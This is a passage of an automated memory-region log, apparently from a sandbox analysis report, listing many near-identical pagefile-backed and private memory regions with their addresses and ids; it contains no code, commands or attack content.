pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14334 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14337 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14341 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14353 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14358 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14375 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14379 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14382 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14393 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14394 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14395 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14397 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14399 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14400 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14401 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14402 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14403 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14405 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14406 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14408 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14409 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14411 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14412 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14416 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14419 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14420 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14423 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14432 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14433 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14436 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14437 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14438 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14440 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14441 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14444 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14445 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14448 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14449 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14452 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14453 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14454 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14455 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14456 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14457 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14458 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14459 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14460 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14461 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14462 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14463 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14464 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14465 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14466 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14467 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14468 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14469 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14470 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14471 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14472 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14473 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14474 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14475 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14476 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14477 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14478 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14479 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14480 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14481 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14482 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14483 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14484 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14485 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14486 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14487 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14488 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14489 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14490 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14491 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14492 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14493 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14494 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14495 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14496 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14497 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14498 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14499 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14500 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14501 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14502 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14503 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14504 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14505 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14506 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14507 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14508 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14509 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14510 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14511 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14512 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14513 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14514 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14515 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14516 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14517 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14518 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14519 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14520 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14521 start_va = 0x460000 end_va = 